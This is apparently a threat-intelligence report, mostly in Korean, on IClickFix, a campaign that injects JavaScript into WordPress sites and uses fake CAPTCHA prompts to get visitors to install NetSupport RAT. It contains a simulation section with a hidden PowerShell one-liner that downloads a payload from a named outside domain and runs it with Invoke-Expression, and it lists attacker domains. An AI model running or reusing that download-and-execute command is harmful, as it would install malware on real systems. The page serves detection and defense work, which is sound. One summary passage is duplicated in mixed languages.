SOC Prime Bias: 중간

03 2월 2026 21:25

IClickFix 소개: ClickFix 전술을 사용하는 널리 퍼진 WordPress 타겟팅 프레임워크

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
IClickFix 소개: ClickFix 전술을 사용하는 널리 퍼진 WordPress 타겟팅 프레임워크
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 프로파일하는 IClickFix, 악성 JavaScript 프레임워크로, WordPress 사이트를 손상시키고 Cloudflare Turnstile 스타일의 CAPTCHA를 위장하여 제시합니다. 이 미끼는 방문자가 PowerShell 명령을 실행하도록 강요하며, 이는 다운로드하여 설치하는 NetSupport RAT을(를) 실행합니다. 배포는 YOURLS URL 단축 프로그램과 리디렉터 도메인의 회전 세트를 중심으로 구축된 트래픽 배포 시스템에 의해 지원됩니다. 연구자들은 2024년 말 이후로 전 세계적으로 이 체인을 제공하는 3,800개 이상의 손상된 WordPress 사이트를 관찰했습니다. YOURLS URL shortener and a rotating set of redirector domains. Researchers observed more than 3,800 compromised WordPress sites serving this chain globally since late 2024.

조사

Sekoia 분석가들은 손상된 사이트에서 주입된 JavaScript 태그 ic-tracker-js 를 식별한 후, 여러 단명하는 도메인에서 리디렉션 흐름을 복원했습니다. 그들은 최종 페이로드를 검색하는 데 사용된 정확한 PowerShell 실행 패턴을 캡처했으며, 연관된 C2 인프라 지표와 함께 드롭된 NetSupport RAT 구성 요소를 복구했습니다.

완화

웹 콘텐츠에서 ic-tracker-js 주입을 모니터링하고, 체인에서 사용되는 알려진 악성 도메인, 리디렉터, 짧은 링크 서비스를 차단합니다. 엔드포인트에서는 ClickFix 미끼와 일치하는 PowerShell 다운로드 및 실행 패턴을 감지합니다. NetSupport 클라이언트 파일 생성 및 사용자 레벨의 지속성을 통해 Run 레지스트리 키를 덮습니다.

대응

지표가 나타나면 엔드포인트를 격리하고 활성 PowerShell 프로세스를 중지하며 NetSupport 바이너리와 모든 레지스트리 기반 지속성을 제거합니다. 공격자가 추가 임플란트를 배포하거나 2차적인 접근 경로를 확립하지 않았음을 확인하기 위해 전체 포렌식 분류를 따릅니다.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef file fill:#cccccc %% Action Nodes action_initial_access[“<b>행위</b> – <b>T1190 공개된 애플리케이션 악용</b><br/>WordPress 코어 또는 널리 사용되는 플러그인(Elementor, WooCommerce, Gravity Forms)의 취약점을 악용하여 WordPress 사이트를 침해함.”] class action_initial_access action action_content_injection[“<b>행위</b> – <b>T1659 콘텐츠 인젝션</b><br/>침해된 페이지에 <i>icu2011trackeru2011js</i> 태그가 포함된 악성 JavaScript를 삽입하여 공격자가 제어하는 스크립트를 로드함.”] class action_content_injection action action_software_extensions[“<b>행위</b> – <b>T1176 소프트웨어 확장</b><br/>취약한 WordPress 플러그인을 확장 기능으로 악용하여 사이트에 악성 코드를 지속적으로 유지함.”] class action_software_extensions action action_dynamic_resolution[“<b>행위</b> – <b>T1568 동적 해석</b><br/>YOURLS 단축 서비스와 도메인 체인(예: ksfldfklskdmbxcvb.com)을 사용하여 봇을 필터링하면서 페이로드를 해석 및 전달함.”] class action_dynamic_resolution action action_obfuscated_payloads[“<b>행위</b> – <b>T1027 난독화되거나 저장된 파일</b><br/>탐지를 회피하기 위해 1단계 JavaScript와 PowerShell 로더를 Base64로 인코딩하고 문자열 분할을 사용함.”] class action_obfuscated_payloads action action_user_execution[“<b>행위</b> – <b>T1204.001 사용자 실행: 악성 링크</b><br/>피해자가 침해된 WordPress URL을 클릭하여 리디렉션 체인이 실행됨.”] class action_user_execution action action_input_injection[“<b>행위</b> – <b>T1674 입력 인젝션 및 T1204.004 악성 복사-붙여넣기</b><br/>JavaScript가 PowerShell 명령을 클립보드에 기록하고 가짜 Cloudflare Turnstile CAPTCHA 미끼를 표시함.”] class action_input_injection action action_powershell[“<b>행위</b> – <b>T1059.001 PowerShell</b><br/>숨겨진 PowerShell 명령이 실행되어 2단계 스크립트 <i>tytuy.json</i>을 다운로드하고 NetSupport RAT를 설치함.”] class action_powershell action action_persistence[“<b>행위</b> – <b>T1547.014 부팅 또는 로그온 자동 실행: Active Setup</b><br/>ProgramData\\S1kCMNfZi3에 있는 <i>client32.exe</i>를 가리키는 Run 레지스트리 키를 생성하여 시작 시 실행을 보장함.”] class action_persistence action action_c2[“<b>행위</b> – <b>T1102.002 웹 서비스: 양방향 통신</b><br/>NetSupport RAT는 HTTPS를 통해 공격자가 제어하는 도메인(예: nightlomsknies.com/fakeurl.htm)과 통신함.”] class action_c2 action action_data_obfuscation[“<b>행위</b> – <b>T1001 데이터 난독화</b><br/>악성 활동을 숨기기 위해 C2 트래픽과 페이로드를 난독화함.”] class action_data_obfuscation action %% Tool / Malware / File Nodes tool_wordpress_core[“<b>도구</b> – <b>이름</b>: WordPress 코어<br/><b>취약점</b>: 원격 코드 실행”] class tool_wordpress_core tool tool_elementor_plugin[“<b>도구</b> – <b>이름</b>: Elementor 플러그인<br/><b>취약점</b>: CVE 기반 원격 코드 실행”] class tool_elementor_plugin tool tool_yourls[“<b>도구</b> – <b>이름</b>: YOURLS 단축기<br/><b>목적</b>: URL 리디렉션 및 동적 해석”] class tool_yourls tool malware_netsupport[“<b>악성코드</b> – <b>이름</b>: NetSupport RAT<br/><b>기능</b>: 원격 제어 및 데이터 유출”] class malware_netsupport malware file_client32[“<b>파일</b> – <b>이름</b>: client32.exe<br/><b>위치</b>: ProgramData\\S1kCMNfZi3”] class file_client32 file file_tyuy_json[“<b>파일</b> – <b>이름</b>: tytuy.json<br/><b>목적</b>: 2단계 PowerShell 스크립트”] class file_tyuy_json file %% Connections action_initial_access –>|악용| tool_wordpress_core tool_wordpress_core –>|진입 제공| action_content_injection action_content_injection –>|스크립트 주입| tool_elementor_plugin action_content_injection –>|로 이어짐| action_software_extensions action_software_extensions –>|을 통해 지속성 확보| tool_elementor_plugin action_software_extensions –>|활성화| action_dynamic_resolution action_dynamic_resolution –>|사용| tool_yourls action_dynamic_resolution –>|전달| action_obfuscated_payloads action_obfuscated_payloads –>|생성| action_user_execution action_user_execution –>|트리거| action_input_injection action_input_injection –>|클립보드에 명령 기록| action_powershell action_powershell –>|다운로드| file_tyuy_json file_tyuy_json –>|설치| malware_netsupport malware_netsupport –>|설치| action_persistence action_persistence –>|생성| file_client32 file_client32 –>|시작 시 실행| action_c2 malware_netsupport –>|통신| action_c2 action_c2 –>|사용| action_data_obfuscation

공격 흐름

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

  • Attack Narrative & Commands:

    An adversary who has initial access to the endpoint wishes to establish a persistent foothold by delivering the NetSupport RAT. To evade interactive detection, they launch PowerShell in hidden mode with no profile or logo (-w hidden -nop -c). They then use Invoke‑WebRequest (iwr) to download a malicious JSON payload (tytuy.json) that contains a PowerShell script for the RAT. The script is written to the temporary directory and executed via Invoke‑Expression. This exact command line matches the strings the Sigma rule monitors.

  • Regression Test Script:

    # PowerShell one‑liner that matches the detection rule
    $url = 'https://scottvmorton.com/tytuy.json'
    $out = "$env:TEMPpayload.ps1"
    
    powershell -w hidden -nop -c "iwr '$url' -OutFile $out; iex (Get-Content $out -Raw)"
  • Cleanup Commands:

    # Remove the downloaded payload and any lingering PowerShell processes
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    Get-Process -Name powershell | Where-Object {$_.CommandLine -match 'tytuy.json'} | Stop-Process -Force